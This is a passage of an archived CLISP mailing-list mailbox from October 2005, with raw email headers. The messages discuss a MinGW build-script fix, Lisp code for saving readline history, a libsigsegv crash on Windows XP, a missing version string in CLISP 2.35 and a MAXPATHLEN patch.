sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ES855-0003FQ-73 for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 00:09:47 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ES853-00041f-Cv for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 00:09:47 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5QKW; Wed, 19 Oct 2005 10:10:40 +0300 Message-ID: <4355F188.3020605@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Doug Currie CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MSYS MinGW build modules from CVS References: <1495752626.20051019005552@flavors.com> In-Reply-To: <1495752626.20051019005552@flavors.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 00:10:27 2005 X-Original-Date: Wed, 19 Oct 2005 10:11:04 +0300 Doug Currie пишет: > Anyway, changing the line that begins > > echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a > \$@/configure -nt > > to instead begin as > > echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a > '!' -f > > seems to fix it for me. > I confirm it Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Oct 19 06:46:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESEGW-0000rC-W9 for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 06:46:00 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESEGQ-0002Lj-0o for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 06:45:55 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5RVY; Wed, 19 Oct 2005 16:46:28 +0300 Message-ID: <43564E4D.3020902@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline question References: <4354BE31.2090504@jenty.by> In-Reply-To: <4354BE31.2090504@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 06:47:45 2005 X-Original-Date: Wed, 19 Oct 2005 16:46:53 +0300 Yaroslav Kavenchuk wrote: > I have read manuals and source codes. > IMHO, it is necessary write own functions "write-history" and > "read-history" or replace \n by a blank (IMHO bad idea). > for example: (in-package "READLINE") (default-foreign-language :stdc) (eval-when (compile) (setq ffi:*foreign-guard* t)) (def-c-struct HIST_ENTRY (line c-string) (timestamp c-string) (data c-pointer)) (def-call-out history-get (:name "history_get") (:library "readline5.dll") (:arguments (offset int)) (:return-type (c-ptr HIST_ENTRY))) (defun write-format-history (fname) (with-open-file (f fname :direction :output :if-exists :overwrite :if-does-not-exist :create) (loop for i upfrom 1 for e = (history-get i) while e do (prin1 (HIST_ENTRY-LINE e) f) (terpri f)))) (defun read-format-history (fname) (with-open-file (f fname :direction :input :if-does-not-exist nil) (when f (loop for e = (read f nil nil) while e do (add-history e))))) Thanks! -- WBR, Yaroslav Kavenchuk. From e@flavors.com Wed Oct 19 07:02:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESEWe-00020r-RA for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 07:02:40 -0700 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1ESEWd-0007AU-K9 for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 07:02:40 -0700 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id WYV03500; Wed, 19 Oct 2005 10:02:00 -0400 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <144577740.20051019100203@flavors.com> To: clisp-list@lists.sourceforge.net CC: T. Kurt Bond MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] Re: clisp-2.35 on Windows XP dies with SIGSEGV on stack overflow... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 07:05:05 2005 X-Original-Date: Wed, 19 Oct 2005 10:02:03 -0400 On 2005-10-12 at 16:57 T. Kurt Bond wrote: > running on Windows XP [...] > *** - handle_fault error2 ! address = 0xfffffffc not in > [0x5ad06410,0x5ad70000) > ! > SIGSEGV cannot be cured. Fault address = 0xfffffffc. > [...] > The same thing happens with a locally compiled version build from CVS > pulled today, and my locally built libsigsegv-2.2 Please see this libsigsegv-2.2 bug report: http://sourceforge.net/tracker/index.php?func=detail&aid=1171222&group_id=61267&atid=496662 which includes a patch to libsigsegv-2.2 for WinXP: http://sourceforge.net/tracker/download.php?group_id=61267&atid=496662&file_id=127287&aid=1171222 There is also a fix in the libsigsegv CVS, but I have not tried it yet. Regards, e From rdlatimer@tjhsst.edu Wed Oct 19 13:01:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESK7t-0007M8-Ka for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 13:01:29 -0700 Received: from mail.tjhsst.edu ([198.38.16.42]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESK7p-0005Ek-9X for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 13:01:29 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.tjhsst.edu (Postfix) with ESMTP id 0567018025 for ; Wed, 19 Oct 2005 16:01:18 -0400 (EDT) Received: from mail.tjhsst.edu ([127.0.0.1]) by localhost (chinstrap.tjhsst.edu [127.0.0.1]) (amavisd-new, port 20024) with ESMTP id 14666-01-8 for ; Wed, 19 Oct 2005 16:01:18 -0400 (EDT) Received: from mail.tjhsst.edu (mail.tjhsst.edu [198.38.16.42]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.tjhsst.edu (Postfix) with ESMTP id 7625F18010 for ; Wed, 19 Oct 2005 16:01:18 -0400 (EDT) From: RDLatimer To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at tjhsst.edu X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Current version number? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 13:02:16 2005 X-Original-Date: Wed, 19 Oct 2005 16:01:18 -0400 (EDT) I'm running Common Music which needs a version of clisp 2.31 or higher. I'm on Debian Linux, have downloaded the recent version 2.35 Here's my error message from Common Music: ./bin/cm.sh [Fatal ] /usr/bin/clisp: version '()' unsupported. [Notice ] Need clisp with -repl option (version 2.31 or higher). Aborting. The version of clisp is not being returned: [1]> (lisp-implementation-version) "() (built 3335644808) (memory 3338735517)" Here's the output of --version option: clisp --version GNU CLISP () (built 3335644808) (memory 3338735517) Software: GNU C 4.0.2 20050821 (prerelease) (Debian 4.0.1-6) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl -L/usr/lib -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (ASDF CLX-ANSI-COMMON-LISP CLX REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp linux clx) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) fripp.csl.tjhsst.edu [198.38.18.6] From tkb@tkb.mpl.com Wed Oct 19 13:47:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESKqa-0001nL-B9 for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 13:47:40 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ESKqZ-0006FZ-22 for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 13:47:40 -0700 Received: from tkb.mpl.com ([64.181.9.74]) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1ESJls-0000IA-Ri for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 12:38:45 -0700 Received: from tkb.mpl.com (tkb.mpl.com [64.181.9.74]) by tkb.mpl.com (8.13.1/8.13.1) with ESMTP id j9JJ4XcX032033; Wed, 19 Oct 2005 15:04:39 -0400 (EDT) (envelope-from tkb@tkb.mpl.com) From: "T. Kurt Bond" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17238.39105.690428.552678@tkb.mpl.com> To: Doug Currie Cc: clisp-list@lists.sourceforge.net, "T. Kurt Bond" In-Reply-To: <144577740.20051019100203@flavors.com> References: <144577740.20051019100203@flavors.com> X-Mailer: VM 7.19 under Emacs 21.3.1 X-Greylist: Sender DNS name whitelisted, not delayed by milter-greylist-2.0 (tkb.mpl.com [64.181.9.74]); Wed, 19 Oct 2005 15:04:43 -0400 (EDT) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: clisp-2.35 on Windows XP dies with SIGSEGV on stack overflow... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 13:48:44 2005 X-Original-Date: Wed, 19 Oct 2005 15:04:33 -0400 Doug Currie writes: > On 2005-10-12 at 16:57 T. Kurt Bond wrote: > > > running on Windows XP [...] > > > *** - handle_fault error2 ! address = 0xfffffffc not in > > [0x5ad06410,0x5ad70000) > > ! > > SIGSEGV cannot be cured. Fault address = 0xfffffffc. > > > [...] > > > The same thing happens with a locally compiled version build from CVS > > pulled today, and my locally built libsigsegv-2.2 > > Please see this libsigsegv-2.2 bug report: > http://sourceforge.net/tracker/index.php?func=detail&aid=1171222&group_id=61267&atid=496662 > which includes a patch to libsigsegv-2.2 for WinXP: > http://sourceforge.net/tracker/download.php?group_id=61267&atid=496662&file_id=127287&aid=1171222 > > There is also a fix in the libsigsegv CVS, but I have not tried it yet. Thanks for the information. I built clisp from today's CVS with a libsigsegv built from today's CVS and that seems to have fixed the problem. -- T. Kurt Bond, tkb@tkb.mpl.com From taube@uiuc.edu Wed Oct 19 14:24:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESLQ7-0004ET-Rd for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 14:24:23 -0700 Received: from smtp102.sbc.mail.mud.yahoo.com ([68.142.198.201]) by mail.sourceforge.net with smtp (Exim 4.44) id 1ESLQ6-0003rk-FW for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 14:24:23 -0700 Received: (qmail 67008 invoked from network); 19 Oct 2005 21:24:08 -0000 Received: from unknown (HELO ?10.0.1.3?) (rick.taube@sbcglobal.net@70.225.172.132 with plain) by smtp102.sbc.mail.mud.yahoo.com with SMTP; 19 Oct 2005 21:24:08 -0000 In-Reply-To: References: <1129724111.24589.8.camel@hobbes.mh-freiburg.de> <17526feedaed505722e7ea0be1dbaf14@uiuc.edu> Mime-Version: 1.0 (Apple Message framework v623) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: cm list , CLISP List From: Rick Taube To: RDLatimer X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CLisp 2.35 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 14:25:20 2005 X-Original-Date: Wed, 19 Oct 2005 16:24:06 -0500 Hi, you might try forcing the version using cm.sh's -V arg: cm.sh -V 2.35 -l clisp for more tricks see: cm.sh -h note that clisp-2.35 works fine on osx: galen:/Lisp/cm hkt$ cm -l clisp [1]> ; Installation directory: "/Lisp/cm/" ; Loading "bin/clisp_2.35_darwin-powerpc/clm-stubs.fas" ; Loading "bin/clisp_2.35_darwin-powerpc/cmn-stubs.fas" [...] On Oct 19, 2005, at 2:59 PM, RDLatimer wrote: > I'm on Debian, have just installed Clisp current version 2.35, > but Common Music isn't able to see this version number. > > $ ./bin/cm.sh > [Fatal ] /usr/bin/clisp: version '()' unsupported. > [Notice ] Need clisp with -repl option (version 2.31 or higher). > Aborting. > > > I think this most current version of CLisp isn't reporting a version > number. I've emailed them about this: > > (lisp-implementation-version) > "() (built 3335644808) (memory 3338735517)" > > > Is there a way to let cm.sh know it's okay to continue? I think this > version of Clisp is okay, it's just not returning a version number. > > Thanks, Randy Latimer From sds@gnu.org Wed Oct 19 17:51:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESOe0-0000eG-LH for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 17:50:56 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESOdz-00023o-EB for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 17:50:56 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Oct 2005 20:50:53 -0400 X-IronPort-AV: i="3.97,232,1125892800"; d="scan'208"; a="103940905:sNHT28470702" To: clisp-list@lists.sourceforge.net, RDLatimer Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (rdlatimer@tjhsst.edu's message of "Wed, 19 Oct 2005 16:01:18 -0400 (EDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, RDLatimer Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Current version number? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 17:52:16 2005 X-Original-Date: Wed, 19 Oct 2005 20:49:49 -0400 > * RDLatimer [2005-10-19 16:01:18 -0400]: > > I'm running Common Music which needs a version of clisp 2.31 or higher. > I'm on Debian Linux, have downloaded the recent version 2.35 please look at the file unixconf.h in your build directory and check the value of PACKAGE_VERSION look at src/configure and search for PACKAGE_VERSION. if they are not set to something reasonable, please make sure that your src/configure is not corrupted. > clisp --version > GNU CLISP () (built 3335644808) (memory 3338735517) -- Sam Steingold (http://www.podval.org/~sds) running w2k Isn't "Microsoft Works" an advertisement lie? From sds@gnu.org Wed Oct 19 17:56:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESOjf-000159-BD for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 17:56:47 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESOje-0002e9-7Q for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 17:56:47 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Oct 2005 20:56:46 -0400 X-IronPort-AV: i="3.97,232,1125892800"; d="scan'208"; a="103951045:sNHT24021800" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4354BE31.2090504@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 18 Oct 2005 12:19:45 +0300") References: <4354BE31.2090504@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: readline question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 17:57:53 2005 X-Original-Date: Wed, 19 Oct 2005 20:55:42 -0400 > * Yaroslav Kavenchuk [2005-10-18 12:19:45 +0300]: > > Sam Steingold wrote: > >>>>>multi-line command split to separate lines after save in history >>>>>(~/.clisp-history) and load from it >>>>> >>>>>How correct it? >>>> >>>> >>>>try removing >>>> >>>> strcat(new_line,"\n"); >>>> >>>>in rd_ch_terminal3() >>>>maybe. >>>> >>> >>>it has not helped >>> >>>Thanks! >> >> >> then please debug it yourself, using gdb and readline&history manuals >> > > I have read manuals and source codes. > IMHO, it is necessary write own functions "write-history" and > "read-history" or replace \n by a blank (IMHO bad idea). how does bash handle this? (it replaces line breaks with ";") -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. From sds@gnu.org Wed Oct 19 17:56:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESOj4-00011t-Va for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 17:56:10 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESOj1-0002HF-SO for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 17:56:11 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Oct 2005 20:56:08 -0400 X-IronPort-AV: i="3.97,232,1125892800"; d="scan'208"; a="103949945:sNHT26178114" To: clisp-list@lists.sourceforge.net, "Soeren D. Schulze" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43525891.3000809@gmx.de> (Soeren D. Schulze's message of "Sun, 16 Oct 2005 15:41:37 +0200") References: <435108DA.2080401@gmx.de> <43525891.3000809@gmx.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Soeren D. Schulze" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Patch to fix a MAXPATHLEN issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 17:58:14 2005 X-Original-Date: Wed, 19 Oct 2005 20:55:04 -0400 I took a different path - in line with existing code in unix.d thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) running w2k You can have it good, soon or cheap. Pick two... From sds@gnu.org Wed Oct 19 18:00:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESOnD-0001Vh-CT for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 18:00:27 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESOnC-0003oJ-4V for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 18:00:27 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Oct 2005 21:00:24 -0400 X-IronPort-AV: i="3.97,232,1125892800"; d="scan'208"; a="103956730:sNHT385077370" To: clisp-list@lists.sourceforge.net, Doug Currie Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1495752626.20051019005552@flavors.com> (Doug Currie's message of "Wed, 19 Oct 2005 00:55:52 -0400") References: <1495752626.20051019005552@flavors.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Currie Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: MSYS MinGW build modules from CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 18:01:37 2005 X-Original-Date: Wed, 19 Oct 2005 20:59:19 -0400 